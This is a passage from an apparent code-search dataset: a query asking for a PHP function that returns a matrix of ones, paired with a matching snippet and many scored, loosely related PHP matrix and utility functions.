){\n\t\t\treturn -$requiredParameterCount-1;\n\t\t}\n\t\treturn $this->getNumberOfParameters();\n\t}", "title": "" }, { "docid": "ab055447985a6b2afc914fda38100e71", "score": "0.5268988", "text": "function __call($function_name, $param)\n {\n return 'magic function __call,function name is '.$function_name.' param is ('.implode(',',$param).').';\n }", "title": "" }, { "docid": "263a343f718b95389420a0e37bdcf916", "score": "0.5252038", "text": "public function getArgs()\n {\n return [];\n }", "title": "" }, { "docid": "573b0278e59e0841bf44a02fbcf90925", "score": "0.52274865", "text": "public static function loadPlaceholderFunctionArgs(array $context);", "title": "" }, { "docid": "becd0b0739d1422f1239cea22a65f056", "score": "0.5213608", "text": "public function getExtraParams(){}", "title": "" }, { "docid": "6eb07c88b9c26e34419fee2018874ba4", "score": "0.51943785", "text": "abstract protected function getParams() : array;", "title": "" } ]
12ab144e797685d95c36570747359e4a
Return a one matrix with the given dimensions.
[ { "docid": "9bc1543ab84bbf63a86857259de6592f", "score": "0.0", "text": "public static function ones(int $m, int $n) : self\n {\n return self::fill(1.0, $m, $n);\n }", "title": "" } ]
[ { "docid": "6646fe8331c83dea78904b4bc741a352", "score": "0.6142475", "text": "public static function createEmptyMatrix($num_rows, $num_columns) {\n\t\t$data = array();\n\t\tfor ($i = 0; $i < $num_rows; $i++) {\n\t\t\t$row = array();\n\t\t\tfor ($j = 0; $j < $num_columns; $j++) {\n\t\t\t\t$row[] = 0;\n\t\t\t}\n\t\t\t$data[] = $row;\n\t\t}\n\n\t\treturn new Matrix($data);\n\t}", "title": "" }, { "docid": "14ef6521db67c999a63a7c26e615c8e1", "score": "0.5712005", "text": "public static function identity(int $n): matrix|null {\n if ($n < 1) {\n throw new \\InvalidArgumentException('Dimensionality must be greater than 0 on all axes.');\n }\n\n $ar = self::factory($n, $n);\n for ($i = 0; $i < $n; ++$i) {\n for ($j = 0; $j < $n; ++$j) {\n $ar->data[$i * $n + $j] = $i === $j ? 1 : 0;\n }\n }\n return $ar;\n }", "title": "" }, { "docid": "6a1501b08fd9a23df23fb45ab3cb29f4", "score": "0.54826736", "text": "public static function ones(int $row, int $col, int $dtype = self::FLOAT): matrix {\n $ar = self::factory($row, $col, $dtype);\n for ($i = 0; $i < $row; ++$i) {\n for ($j = 0; $j < $col; ++$j) {\n $ar->data[$i * $col + $j] = 1;\n }\n }\n return $ar;\n }", "title": "" }, { "docid": "feecd3afd5e2d0c2ea60572474966383", "score": "0.54278266", "text": "public static function diagonal(array $elements, int $dtype = self::FLOAT): matrix {\n $n = count($elements);\n $ar = self::factory($n, $n, $dtype);\n for ($i = 0; $i < $n; ++$i) {\n $ar->data[$i * $n + $i] = $elements[$i]; #for ($j = 0; $j < $n; ++$j) {$i === $j ? $elements[$i] : 0;#} \n }\n return $ar;\n }", "title": "" }, { "docid": "63b037167e0d570732525e2c3945bda6", "score": "0.5368532", "text": "public static function create(int $width, ?int $height = null, $fill = 0): Matrix\n {\n if (is_null($height)) {\n $height = $width;\n }\n $rows = new Vector();\n $rows->allocate($height);\n $y = 0;\n while ($y < $height) {\n $row = new Vector();\n $row->allocate($width);\n $x = 0;\n while ($x < $width) {\n $row->push($fill);\n $x++;\n }\n $rows->push($row);\n $y++;\n }\n return new self($rows);\n }", "title": "" }, { "docid": "f51f21b5dcda5b8325bb99f884537df7", "score": "0.5364711", "text": "public static function factory(int $row, int $col, int $dtype = self::FLOAT): matrix {\n return new self($row, $col, $dtype);\n }", "title": "" }, { "docid": "f670652908fa0742af4cc3a9c58dd107", "score": "0.53411245", "text": "public static function identity(int $size): Matrix\n {\n $rows = new Vector();\n $y = 0;\n while ($y < $size) {\n $row = new Vector();\n $row->allocate($size);\n $x = 0;\n while ($x < $size) {\n $row->push(\\intval($x === $y));\n $x++;\n }\n $rows->push($row);\n $y++;\n }\n return new self($rows);\n }", "title": "" }, { "docid": "de98aad76d0be43ff7bcba8fe37ec0dc", "score": "0.5339349", "text": "public function getMatrix($asArray = false) {}", "title": "" }, { "docid": "6296e814f90ead54ff51995e3a943a1a", "score": "0.51564014", "text": "public function getS() {\n// return new Matrix($this->s);\n $S = array();\n for ($i = 0; $i < $this->n; ++$i) {\n for ($j = 0; $j < $this->n; ++$j) {\n $S[$i][$j] = 0.0;\n }\n $S[$i][$i] = $this->s[$i];\n }\n return new Matrix($S);\n }", "title": "" }, { "docid": "dcc0e3ab68052a952fc7a4106deb5611", "score": "0.51111424", "text": "function table_to_matrix($table_name, ...$cols){\n\t//Construct query string from input\n\t$c = \"\";\n\tif (count($cols) == 0){\n\t\t$c = \"*\";\n\t} else {\n\t\tforeach ($cols as $col){\n\t\t\t$c = $c.$col.\", \";\n\t\t}\n\t\t$c = substr($c, 0, -2);\n\t}\n\t$query = sprintf(\"SELECT %s FROM %s\", $c, $table_name);\n\t//Cache data from SQL database.\n\t//$data = [];\n\t$data = array();\n\t$result = $GLOBALS['conn']->query($query);\n\tif($result){\n\t\twhile($row = $result->fetch_array(MYSQLI_NUM)){\n\t\t\t//$data[] = $row;\n\t\t\tarray_push($data, $row);\n\t\t}\n\t\treturn new Matrix($data);\n\t}\n}", "title": "" }, { "docid": "94a6d9172a580d506214ba32b87d7f5a", "score": "0.504221", "text": "public function getMatrix()\n {\n /** @var WebApplication|ConsoleApplication $this */\n return $this->get('matrix');\n }", "title": "" }, { "docid": "0a57a965e72502d1c1cbbf371cb99db4", "score": "0.49827987", "text": "public function matrixMaker($words){\n $matrix = [];\n $info = [];\n for($i=0;$i<count($words);$i++){\n $ok = 0;\n while($ok<1){\n $maker = $this->hMaker($matrix, $words[$i]);\n $ok = $maker['status'];\n }\n $matrix = $maker['matrix'];\n $info[$words[$i]] = ['start'=>$maker['start'], 'type'=>$maker['type']];\n }\n for($i=0;$i<15;$i++){\n for($j=0;$j<15;$j++){\n if(empty($matrix[$i][$j])){\n $matrix[$i][$j] = $this->assign_rand_value(rand(1,26));\n }\n }\n }\n return ['matrix'=>$matrix, 'info'=>$info];\n }", "title": "" }, { "docid": "1c1382ebe8b355c36b73c1f6020696be", "score": "0.49599674", "text": "public static function diagonal(array $elements) : self\n {\n $n = count($elements);\n\n $elements = array_values($elements);\n\n $a = [];\n\n for ($i = 0; $i < $n; ++$i) {\n $rowA = [];\n\n for ($j = 0; $j < $n; ++$j) {\n $rowA[] = $i === $j ? $elements[$i] : 0;\n }\n\n $a[] = $rowA;\n }\n\n return self::quick($a);\n }", "title": "" }, { "docid": "91398768546f09d088ff9e1bbc42e22d", "score": "0.49327943", "text": "function setMatrix($x,$y){\n\t$thisMatrix = array();\n\tfor( $i=0; $i<3; $i++){\n\t\t$rowMatrix = array();\n\t\tfor( $j=0; $j<3; $j++){\n\t\t\t$tempNum = rand($x,$y);\n\t\t\tarray_push($rowMatrix, $tempNum);\n\t\t}\n\t\tarray_push($thisMatrix, $rowMatrix);\n\t}\n\treturn $thisMatrix;\n}", "title": "" }, { "docid": "7272ac08551129802920b00401513a20", "score": "0.48684302", "text": "public function copyMatrix(): matrix {\n return clone $this;\n }", "title": "" }, { "docid": "1b94700a35b03a198ef398b9d481a6bd", "score": "0.48599836", "text": "function getMatrixX() {\n // width\n return 15;\n }", "title": "" }, { "docid": "e56765a68fc2e67f555650802dd3dfe3", "score": "0.47246858", "text": "public static function ar(array $data, int $dtype = self::FLOAT): matrix {\n if (is_array($data) && is_array($data[0])) {\n $ar = self::factory(count($data), count($data[0]), $dtype);\n $ar->setData($data);\n } else {\n self::_err('data must be of same dimensions');\n }\n unset($data);\n return $ar;\n }", "title": "" }, { "docid": "912ccc4aa19dba8374fd29a2f1928a97", "score": "0.47050795", "text": "public function create_default()\n {\n return method_exists($this, 'matrix') ? app()->call([$this, 'matrix']) : app()->call([$this, 'matrix_default']);\n }", "title": "" }, { "docid": "70c2015367bf54b4585c54d70eedd5e4", "score": "0.4689249", "text": "public static function null(int $row, int $col, int $dtype = self::FLOAT): matrix {\n $ar = self::factory($row, $col, $dtype);\n for ($i = 0; $i < $row; ++$i) {\n for ($j = 0; $j < $col; ++$j) {\n $ar->data[$i * $col + $j] = null;\n }\n }\n return $ar;\n }", "title": "" }, { "docid": "1801475bfe44d0ac1aa2078939dd9484", "score": "0.4683292", "text": "function crear_matriz($gmat,$numero){\r\n foreach(range(0,$numero) as $row){\r\n foreach(range(0,$numero) as $col){\r\n $gmat[$row][$col] = 0;\r\n }\r\n }\r\n return $gmat;\r\n}", "title": "" }, { "docid": "6a6ebd37bfe0d429b94d7aced539de4c", "score": "0.4659174", "text": "public function diagonal()\n {\n $diagonal = [];\n $max = min([$this->rows, $this->columns]);\n\n for ($i = 0; $i < $max; $i++) {\n $diagonal[] = $this->get($i, $i);\n }\n\n return new static([$diagonal]);\n }", "title": "" }, { "docid": "48253f64ee4a319e6b99bc5876280d81", "score": "0.46416223", "text": "public function getLineMatrix() {}", "title": "" }, { "docid": "91318757b10147b42e2140654b4db3d4", "score": "0.46314168", "text": "public function initMatrix($sizeMatrix){\n $this->matrix = array();\n if (1 <= $sizeMatrix && $sizeMatrix <= 100) {\n for ($index = 0; $index < $sizeMatrix; $index++) {\n $this->matrix[$index] = array();\n for ($index1 = 0; $index1 < $sizeMatrix; $index1++) {\n $this->matrix[$index][$index1] = array();\n for ($index2 = 0; $index2 < $sizeMatrix; $index2++) {\n $this->matrix[$index][$index1][$index2] = 0;\n } \n }\n }\n }else{\n return \"error en el tamano de la matriz\";\n }\n }", "title": "" }, { "docid": "9e12714c71267c2c0a099b4148d0b7ef", "score": "0.45133358", "text": "private function initCache(): Matrix\n {\n $this->cache = [];\n return $this;\n }", "title": "" }, { "docid": "a32476a47ce9d8c1529c57d7361de9db", "score": "0.45021322", "text": "public function getAdjugate(): Matrix\n {\n return $this->getCofactors()->transpose();\n }", "title": "" }, { "docid": "d9739fd41837bf7f2428a4c8633b668b", "score": "0.44806898", "text": "public function setDimensions(array $dimensions)\n {\n $this->dimensions = $dimensions;\n return $this;\n }", "title": "" }, { "docid": "acd0f552135bee720a9f1203d0d40731", "score": "0.4479188", "text": "function NumCols() {}", "title": "" }, { "docid": "67aef943b68317ff117a036c509c9eee", "score": "0.4477604", "text": "public function getCofactors(): Matrix\n {\n $this->validateDimensions($this, self::SQUARE);\n\n return $this->map(function ($cell, $x, $y) {\n return pow(-1, $x + $y) * $this->getMinors($x, $y)->determinant();\n });\n }", "title": "" }, { "docid": "2f748f1609c6a684ec02f101f91ef9c8", "score": "0.44504276", "text": "public static function full(int $row, int $col, $val, int $dtype = self::FLOAT): matrix {\n $ar = self::factory($row, $col, $dtype);\n for ($i = 0; $i < $row; ++$i) {\n for ($j = 0; $j < $col; ++$j) {\n $ar->data[$i * $col + $j] = $val;\n }\n }\n return $ar;\n }", "title": "" }, { "docid": "8133aa49f1251c52175ee7254923e195", "score": "0.44468096", "text": "private function _field(): Matrix\n {\n /** @noinspection PhpIncompatibleReturnTypeInspection */\n return Craft::$app->getFields()->getFieldById($this->fieldId);\n }", "title": "" }, { "docid": "5bb0639675193abf552b9351a8963216", "score": "0.4415388", "text": "public function getU() {\n return new Matrix($this->U);\n }", "title": "" }, { "docid": "0088727d90402fdc0ec08241b5ce02de", "score": "0.44146454", "text": "public function transpose() : self\n {\n switch ($this->m) {\n case 0:\n return $this;\n\n case 1:\n $b = [];\n\n foreach (current($this->a) ?: [] as $row) {\n $b[] = [$row];\n }\n\n return self::quick($b);\n\n default:\n return self::quick(array_map(null, ...$this->a));\n }\n }", "title": "" }, { "docid": "5d82ddb8d250e06d9e74a2d70a25c0bd", "score": "0.4411525", "text": "public function getMatrixAt($x, $y)\t\t\t{ return $this->matrix[$y + $x + 3 * $x]; }", "title": "" }, { "docid": "386897fafce6885c94d1224d474305b6", "score": "0.43779323", "text": "public function Matrix($wine)\n{\n\tfor($i=0; $i<=$wine; $i++)\n\tfor($j=0; $j<=$wine; $j++) \n\t\n\t$this->glasses[$i][$j]=0;\n}", "title": "" }, { "docid": "517086c10cbf4928286121fabbe7ab3a", "score": "0.4354676", "text": "public static function first($columns = [])\n {\n return static::instance()->newBuilder()->first($columns);\n }", "title": "" }, { "docid": "aa0934e79a90a96cad23bc1e77bcd586", "score": "0.43484408", "text": "public function colorMatrix() {}", "title": "" }, { "docid": "fe4879784a570a2c7460ca00c63749d3", "score": "0.43468684", "text": "public function getTranspose(): Matrix\n {\n $matrix = new self(clone $this);\n $matrix->transpose();\n return $matrix;\n }", "title": "" }, { "docid": "5455e5b574343507eaaf0352e07996cc", "score": "0.4324579", "text": "public static function obtenerMatrices()\n {\n $consulta = \"SELECT * FROM matrices ORDER BY matriz ASC\";\n try {\n // Preparar sentencia\n $comando = Database::getInstance()->getDb()->prepare($consulta);\n // Ejecutar sentencia preparada\n $comando->execute();\n\n return $comando->fetchAll(PDO::FETCH_ASSOC);\n\n } catch (PDOException $e) {\n return false;\n }\n }", "title": "" }, { "docid": "2b2f1cc6c275622e30f21872ca410798", "score": "0.4322449", "text": "function mysql_fetch_array_1d($res) {\n\twhile($row=mysql_fetch_array($res)) {\n\t\tif (!(empty($row[0]))){\n\t\t\t$return[] = $row[0];\n\t\t}\n }\n return $return;\n}", "title": "" }, { "docid": "67953ef3f9fc79c9628c59ec9d28c707", "score": "0.43115574", "text": "public function getDiagonal(): Vector\n {\n $row = new Vector();\n $row->allocate((int) ceil(($this->x + $this->y) / 2));\n $size = max($this->x, $this->y);\n $o = 0;\n while ($o < $size) {\n $row->push($this->get($o, $o));\n $o++;\n }\n return $row;\n }", "title": "" }, { "docid": "d5778a66d5eebb609289c31a48bc0ead", "score": "0.42929348", "text": "public function getMinors(int $column_x, int $row_y = 0): Matrix\n {\n $rows = new Vector();\n $rows->allocate($this->y);\n foreach ($this->table as $y => $colVector) {\n if ($y === $row_y) continue;\n $row = new Vector();\n $row->allocate($this->x);\n foreach ($colVector as $x => $value) {\n if ($x === $column_x) continue;\n $row->push($value);\n }\n $rows->push($row);\n }\n\n return new self($rows);\n }", "title": "" }, { "docid": "5e5cdfabbc01cecabfad3124dd4eeff8", "score": "0.42635685", "text": "function Build_Sparse_Array(array $t_args, array $inputs, array $outputs)\n{\n // Class name is randomly generated.\n $className = generate_name('BuildSparseArray');\n\n // Initializiation of argument names.\n $inputs_ = array_combine(['key', 'vector'], $inputs);\n $key = $inputs_['key'];\n\n // Information about the vector type.\n $size = $inputs_['vector']->get('size');\n $type = $inputs_['vector']->get('type');\n\n // Processing of template arguments.\n $scale = get_default($t_args, 'scale', 2);\n $width = get_default($t_args, 'length', 100);\n $type = get_default($t_args, 'type', $type);\n\n // diag is converted to avoid PHP boolean printing issues.\n $diag = intval($diag);\n\n grokit_assert(is_datatype($type),\n \"Build Sparse Array: 'type' ($type) is not a datatype.\");\n\n $sys_headers = ['armadillo', 'limits'];\n $user_headers = [];\n $lib_headers = [];\n $libraries = ['armadillo'];\n $extra = [];\n $result_type = ['state'];\n?>\n\nusing namespace std;\n\nclass <?=$className?>;\n\nclass <?=$className?> {\n public:\n // The type of result.\n using Type = <?=$type?>;\n\n // The type of the indices.\n using Key = <?=$key?>;\n\n // The length of each column in the data matrix.\n static const constexpr int kHeight = <?=$size?>;\n\n // The initial width of the data matrix.\n static const constexpr int kWidth = <?=$width?>;\n\n // The proportion at which the dynamic matrix grows.\n static const constexpr int kScale = <?=$scale?>;\n\n private:\n // The data matrix being constructed item by item. The width of this matrix\n // is increased when necessary as per a dynamic array.\n Mat<Type> data;\n\n // The set of keys processed whose indices correspond to the rows in data.\n Col<Key> keys;\n\n // The number of rows processed by this state.\n int count;\n\n public:\n <?=$className?>()\n : data(kHeight, kWidth),\n keys(kWidth),\n count(0) {\n }\n\n // Basic dynamic array allocation.\n void AddItem(<?=const_typed_ref_args($inputs_)?>) {\n if (count == data.n_cols) {\n data.resize(kHeight, kScale * data.n_cols);\n keys.resize(kScale * keys.n_elem);\n }\n data.col(count) = Col<Type>(vector.data(), kHeight);\n keys(count) = key;\n count++;\n }\n\n // Empty rows are stripped such that white space will only ever be at the end\n // of both keys and data.\n void AddState(<?=$className?> &other) {\n data.resize(kHeight, count);\n keys.resize(count);\n data.insert_cols(count, other.data);\n keys.insert_rows(count, other.keys);\n count += other.count;\n }\n\n void FinalizeState() {\n data.resize(kHeight, count);\n }\n\n const Col<Key>& GetKeys() const {\n return keys;\n }\n\n const Mat<Type>& GetData() const {\n return data;\n }\n\n<?\n return [\n 'kind' => 'GLA',\n 'name' => $className,\n 'system_headers' => $sys_headers,\n 'user_headers' => $user_headers,\n 'lib_headers' => $lib_headers,\n 'libraries' => $libraries,\n 'extra' => $extra,\n 'iterable' => false,\n 'input' => $inputs,\n 'output' => $outputs,\n 'result_type' => $result_type,\n ];\n}", "title": "" }, { "docid": "e9ceb345af3deb1c5f1c414dffc12747", "score": "0.42482597", "text": "function tablaMultiplicar($filas, $columnas)\n{\n $tabla = array();\n for($i=0;$i<=$filas;$i++)\n {\n for ($z=0;$z<=$columnas;$z++)\n {\n if($i==0)\n $tabla[$i][$z]=$z;\n else if ($z==0)\n $tabla[$i][$z]=$i;\n else\n $tabla[$i][$z]=$i*$z;\n }\n }\n return $tabla;\n}", "title": "" }, { "docid": "6b3ec2f8526b0cd68fe645272b8feb88", "score": "0.42299724", "text": "public function submatrix($row = null, $column = null)\n {\n $literal = [];\n\n for ($i = 0; $i < $this->getRowCount(); $i++) {\n if ($i === $row) {\n continue;\n }\n\n $rowLiteral = [];\n\n for ($j = 0; $j < $this->getColumnCount(); $j++) {\n if ($j === $column) {\n continue;\n }\n\n $rowLiteral[] = $this->get($i, $j);\n }\n\n $literal[] = $rowLiteral;\n }\n\n return new static($literal);\n }", "title": "" }, { "docid": "bb7c9414953d0ca28d3da9bc190f1326", "score": "0.42255506", "text": "public function setDimensions(array $dimensions);", "title": "" }, { "docid": "8473411bc7a22eb2bfec68c9bed28578", "score": "0.4209528", "text": "public function submatrix($row = null, $column = null)\n {\n $literal = array();\n\n for ($i = 0; $i < $this->rows; $i++) {\n if ($i === $row) {\n continue;\n }\n\n $rowLiteral = array();\n\n for ($j = 0; $j < $this->columns; $j++) {\n if ($j === $column) {\n continue;\n }\n\n $rowLiteral[] = $this->get($i, $j);\n }\n\n $literal[] = $rowLiteral;\n }\n\n return new static($literal);\n }", "title": "" }, { "docid": "2dcc38a5278ce90609d1f5e2567b4ef1", "score": "0.41928527", "text": "private function parseMatrixElement(SimpleXMLElement $element): Matrix\n {\n $matrix = new Matrix();\n\n $matrix->translate((int) $element['translateX'], (int) $element['translateY']);\n\n if ($element['hasScale'] == 'true') {\n $matrix->scale((int) $element['scaleX'], (int) $element['scaleY']);\n }\n\n if ($element['hasRotate'] == 'true') {\n $matrix->rotate((int) $element['rotateSkew0'], (int) $element['rotateSkew1']);\n }\n\n return $matrix;\n }", "title": "" }, { "docid": "a77be3abc0315a38b9ed216fa4b5f38e", "score": "0.4187802", "text": "public function equalMatrix(Matrix $b) : self\n {\n if ($b->shape() !== $this->shape()) {\n throw new DimensionalityMismatch(\"{$this->shapeString()} matrix\"\n . \" expected but {$b->shapeString()} given.\");\n }\n\n $c = [];\n\n foreach ($b->asArray() as $i => $rowB) {\n $rowA = $this->a[$i];\n\n $rowC = [];\n\n foreach ($rowA as $j => $valueA) {\n $rowC[] = $valueA == $rowB[$j] ? 1 : 0;\n }\n\n $c[] = $rowC;\n }\n\n return self::quick($c);\n }", "title": "" }, { "docid": "d07d91ac8dd5a492032e3d06dc6c6570", "score": "0.41711304", "text": "function make_matrix($str)\r\n{\r\n $str = preg_replace('/[^\\w]/', '', $str);\r\n if (strlen($str) != 400 || !is_numeric($str)) {\r\n echo \"not valid input format\" . \"<br>\";\r\n return False;\r\n }\r\n $str_arr = str_split($str);\r\n $index = 0;\r\n $matrix = [];\r\n for ($i = 0; $i < 20; $i++) {\r\n $sub_arr = [];\r\n array_push($matrix, $sub_arr);\r\n for ($j = 0; $j < 20; $j++) {\r\n array_push($matrix[$i], $str_arr[$index]);\r\n $index++;\r\n }\r\n }\r\n return $matrix;\r\n\r\n}", "title": "" }, { "docid": "e72f0358b0b10b67d900f43e902d90f5", "score": "0.4166625", "text": "public function square() : self\n {\n return $this->multiplyMatrix($this);\n }", "title": "" }, { "docid": "8d04ec16f9dc27ad15eb5e97df076f29", "score": "0.41646534", "text": "public function defineStructure()\n {\n return StructureType::Matrix;\n }", "title": "" }, { "docid": "887e97450fe373929574e82160708d7c", "score": "0.4163548", "text": "function make_2d($x, $y)\n{\n for ($_x = 0; $_x < $x; $_x++) {\n for ($_y = 0; $_y < $y; $_y++) {\n $a[$_x][$_y] = \"x{$_x}y{$_y}\";\n }\n }\n return $a;\n}", "title": "" }, { "docid": "cc5cb468dca3ef5c2ba036a0d6932478", "score": "0.41603145", "text": "public function first($columns = ['*'])\n {\n return $this->take(1)->get($columns)->first();\n }", "title": "" }, { "docid": "439d48d6ee7c184c727d677d626c6190", "score": "0.41260028", "text": "public function first($columns = array('*'))\n\t{\n\t\treturn $this->get($columns)->first();\n\t}", "title": "" }, { "docid": "c0b5223089540bf426371a74fc9be6f5", "score": "0.4115882", "text": "public function transpose();", "title": "" }, { "docid": "92ca6701fa1a89c87e64dfe91e76f125", "score": "0.41134363", "text": "public function diagonalAsVector() : Vector\n {\n if (!$this->isSquare()) {\n throw new InvalidArgumentException('Matrix must be'\n . \" square, {$this->shapeString()} given.\");\n }\n\n $b = [];\n\n foreach ($this->a as $i => $rowA) {\n $b[] = $rowA[$i];\n }\n\n return Vector::quick($b);\n }", "title": "" }, { "docid": "04b9dd9b791af543646e0934f622d969", "score": "0.40904254", "text": "public function getDimensions();", "title": "" }, { "docid": "04b9dd9b791af543646e0934f622d969", "score": "0.40904254", "text": "public function getDimensions();", "title": "" }, { "docid": "83f1cce55d8cd85deb1eacf1b4045d57", "score": "0.40695468", "text": "private function _presetIdentity()\n\t{\n\t\t$this->setMatrixAt(0, 0, 1.00);\t// 1 0 0 0\n\t\t$this->setMatrixAt(1, 1, 1.00);\t// 0 1 0 0\n\t\t$this->setMatrixAt(2, 2, 1.00);\t// 0 0 1 0\n\t\t$this->setMatrixAt(3, 3, 1.00);\t// 0 0 0 1\n\t}", "title": "" }, { "docid": "c59ae6731edbd6c73b1aab04ce84051e", "score": "0.40494844", "text": "public static function randn(int $row, int $col, int $dtype = self::FLOAT): matrix {\n $ar = self::factory($row, $col, $dtype);\n $max = getrandmax();\n for ($i = 0; $i < $row; ++$i) {\n for ($j = 0; $j < $col; ++$j) {\n $ar->data[$i * $col + $j] = rand() / $max;\n }\n }\n return $ar;\n }", "title": "" }, { "docid": "8bf94e3639c10ea58d126d4a39af1ced", "score": "0.4045754", "text": "public function createCube($size);", "title": "" }, { "docid": "991c5b964c9412675a87751a35bb9aed", "score": "0.4034335", "text": "function transpose(array $xs)\n{\n if (!$xs) {\n return array();\n }\n //special case: row matrix\n if (count($xs) == 1) {\n return array_chunk($xs[0], 1);\n }\n return call_user_func_array(\n 'array_map',\n array_merge(array(null), $xs)\n );\n}", "title": "" }, { "docid": "cd2d6c12e17f80ee591a77f14ed987e9", "score": "0.40332443", "text": "public function testMatrixMultiplication()\n {\n $service = new MatrixService();\n $result = $service->multiplyMatrices($this->matrix_1, $this->matrix_2);\n \n $this->assertEquals($result, $this->expected_matrix_result);\n }", "title": "" }, { "docid": "b0dc7d34f3bee56d9abd0843f0ac4c41", "score": "0.40304148", "text": "public function generateMatrix($chars, $start_range, $length){\r\n\t\t$matrix = array();\r\n\t\t$trigger = $this->string['count'];\r\n\t\t$char_count = count($chars);\r\n\t\t$y = $start_range[0];\r\n\t\t$range = 0;\r\n\t\tfor($i = 0; $i < $length; $i++){\r\n\t\t\tif($trigger < 1){\r\n\t\t\t\t$trigger = $this->string['count'];\r\n\t\t\t}if($range > count($start_range)-1){\r\n\t\t\t\t$range = 0;\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\t$trigger--;\r\n\t\t\t}\r\n\t\t\t$y = $y + $trigger + $start_range[$range] + $length;\r\n\t\t\t$matrix[$i] = $chars[$y%$char_count];\r\n\t\t\t$range++;\r\n\t\t}\r\n\t\treturn $matrix;\r\n\t}", "title": "" }, { "docid": "e45e305070a3e96317d67c648832473f", "score": "0.40231135", "text": "public function multiplyMatrix(Matrix $b) : self\n {\n if ($b->shape() !== $this->shape()) {\n throw new DimensionalityMismatch(\"{$this->shapeString()} matrix\"\n . \" expected but {$b->shapeString()} given.\");\n }\n\n $c = [];\n\n foreach ($b->asArray() as $i => $rowB) {\n $rowA = $this->a[$i];\n\n $rowC = [];\n\n foreach ($rowA as $j => $valueA) {\n $rowC[] = $valueA * $rowB[$j];\n }\n\n $c[] = $rowC;\n }\n\n return self::quick($c);\n }", "title": "" }, { "docid": "8b1f4051ae33c805e1203ac60b193690", "score": "0.40207782", "text": "public function first($columns = [])\n {\n return $this->limit(1)->{$this->fetchMode}($columns)->first();\n }", "title": "" }, { "docid": "8df38aa9a9d89332e8767dc454d74b0f", "score": "0.4013013", "text": "public function transpose()\n {\n $literal = array();\n\n for ($i = 0; $i < $this->columns; $i++) {\n $literal[] = array();\n\n for ($j = 0; $j < $this->rows; $j++) {\n $literal[$i][] = $this->get($j, $i);\n }\n }\n\n return new static($literal);\n }", "title": "" }, { "docid": "f0ce0f8459fba80ad9a49df5fb10d0eb", "score": "0.4001362", "text": "public static function uniform(int $row, int $col, int $dtype = self::FLOAT): matrix {\n $ar = self::factory($row, $col, $dtype);\n $max = getrandmax();\n for ($i = 0; $i < $row; ++$i) {\n for ($j = 0; $j < $col; ++$j) {\n $ar->data[$i * $col + $j] = rand(-$max, $max) / $max;\n }\n }\n return $ar;\n }", "title": "" }, { "docid": "4e9472aa53cf8a4c476457436db2bccb", "score": "0.39889538", "text": "public function create_calculation_array_matrix(){\n\t\t/*\n\t\t* Public and private sets of date for more complex frontend managament\n\t\t*/\n\t\t$calculation_array_matrix = array(\n\t\t\t\"public\" => array(\n\t\t\t\t'calc' => array()\n\t\t\t),\n\t\t\t\"auth\" => array(\n\t\t\t\t'calc_details' => array()\n\t\t\t)\n\t\t);\n\t\treturn $calculation_array_matrix;\n\t}", "title": "" }, { "docid": "ef2a8264ef51b1b6a6cd93af69e7af3e", "score": "0.39675024", "text": "public static function identity($size)\n {\n $literal = array();\n\n for ($i = 0; $i < $size; ++$i) {\n $literal[] = array();\n\n for ($j = 0; $j < $size; ++$j) {\n $literal[$i][] = ($i == $j) ? 1 : 0;\n }\n }\n\n return new static($literal);\n }", "title": "" }, { "docid": "85db6413f4c7f3a50cbbda68d6f12396", "score": "0.3966931", "text": "public function getMatriz() {\n return $this->matriz;\n }", "title": "" }, { "docid": "89471ed36c5147aa0e75978120900f08", "score": "0.39408204", "text": "final public function build(Matrix $matrix){\n\n\t\t$build_response = $this->doBuild();\n\n\t\t$array_grid = $build_response[0];\n\n\t\t$keys_x = $build_response[1];\n\n\t\t$keys_y = $build_response[2];\n\n\t\tif(array_key_exists(3, $build_response)){\n\t\t\t$labels_x = $build_response[3];\n\t\t}\n\n\t\tif(array_key_exists(4, $build_response)){\n\t\t\t$labels_y = $build_response[4];\n\t\t}\n\t\t\n\t\tif(!is_array($keys_x)){\n\t\t\tthrow new \\Exception(\"keys_x must be array\");\n\t\t}\n\t\t\n\t\tif(!is_array($keys_y)){\n\t\t\tthrow new \\Exception(\"keys_y must be array\");\n\t\t}\n\t\t\n\t\t$matrix->setData($array_grid);\n\n\t\t$matrix->setKeysX($keys_x);\n\n\t\t$matrix->setKeysY($keys_y);\n\n\t\tif(!empty($labels_x)){\n\t\t\t$matrix->setAxisLabels('x',$labels_x);\n\t\t}\n\n\t\tif(!empty($labels_y)){\n\t\t\t$matrix->setAxisLabels('y',$labels_y);\n\t\t}\n\n\t\treturn $matrix;\n\t}", "title": "" }, { "docid": "fa5d18be7857abae6173c9ffb5047cca", "score": "0.39330006", "text": "public static function accumMatrix($src)\n {\n return matrix::accumulate($src);\n }", "title": "" }, { "docid": "aa8d9b4040954b4d81b963c6d7c686fc", "score": "0.3932443", "text": "public function getRows ($length='all') {\n\n // We return multiple results unless $length equals anything other than 'all'\n if($length!=='all') {\n\n // $length does not equal 'all' so return just the first record [0]\n return $this->_results[0];\n\n } else {\n\n // $length does equal 'all' so return all records\n return $this->_results;\n }\n\n\n }", "title": "" }, { "docid": "4e1de711a1231eaa3be1a510c96c1097", "score": "0.3928663", "text": "public function first($columns = ['*']);", "title": "" }, { "docid": "ede6e060709ad75cb4a3a5b4102d81a9", "score": "0.3922149", "text": "function transposeMatrix($arr){\n $length = count($arr);\n $sublength = count($arr[0]);\n $output = [];\n for($i=0; $i<$sublength; $i++){\n $tmp_arr = [];\n for($j=0; $j<$length;$j++){\n $tmp_arr[] = $arr[$j][$i];\n }\n $output[] = $tmp_arr;\n unset($tmp_arr);\n }\n return $output;\n}", "title": "" }, { "docid": "cb717103d79aba893a0cd826d954617b", "score": "0.3908928", "text": "public function newInputs($inputs = array())\n {\n return new Google_DistanceMatrix_BicyclingDistanceMatrix_Inputs($inputs);\n }", "title": "" }, { "docid": "9a41afb70a3079f881de277824f0d38c", "score": "0.38979876", "text": "function __construct($dimensions)\n {\n $dimensions = str_replace(' ', '', $dimensions);\n\n /* Checks input to comply with the pattern */\n if (!preg_match(self::DIMENSIONS_PATTERN, $dimensions)) {\n echo 'Invalid board dimensions';\n return;\n }\n\n $this->parseDimensions($dimensions);\n\n /* Checks width and height for maximum size */\n if ($this->width > self::MAX_BOARD_SIZE || $this->height > self::MAX_BOARD_SIZE) {\n echo 'Width or height of the board can\\'t be bigger than' .\n self::MAX_BOARD_SIZE . '<br>';\n return;\n }\n\n echo $this->getBoardHtml($this->width, $this->height);\n }", "title": "" }, { "docid": "01efbf882bbd1c81edbc72ee44f5d2dc", 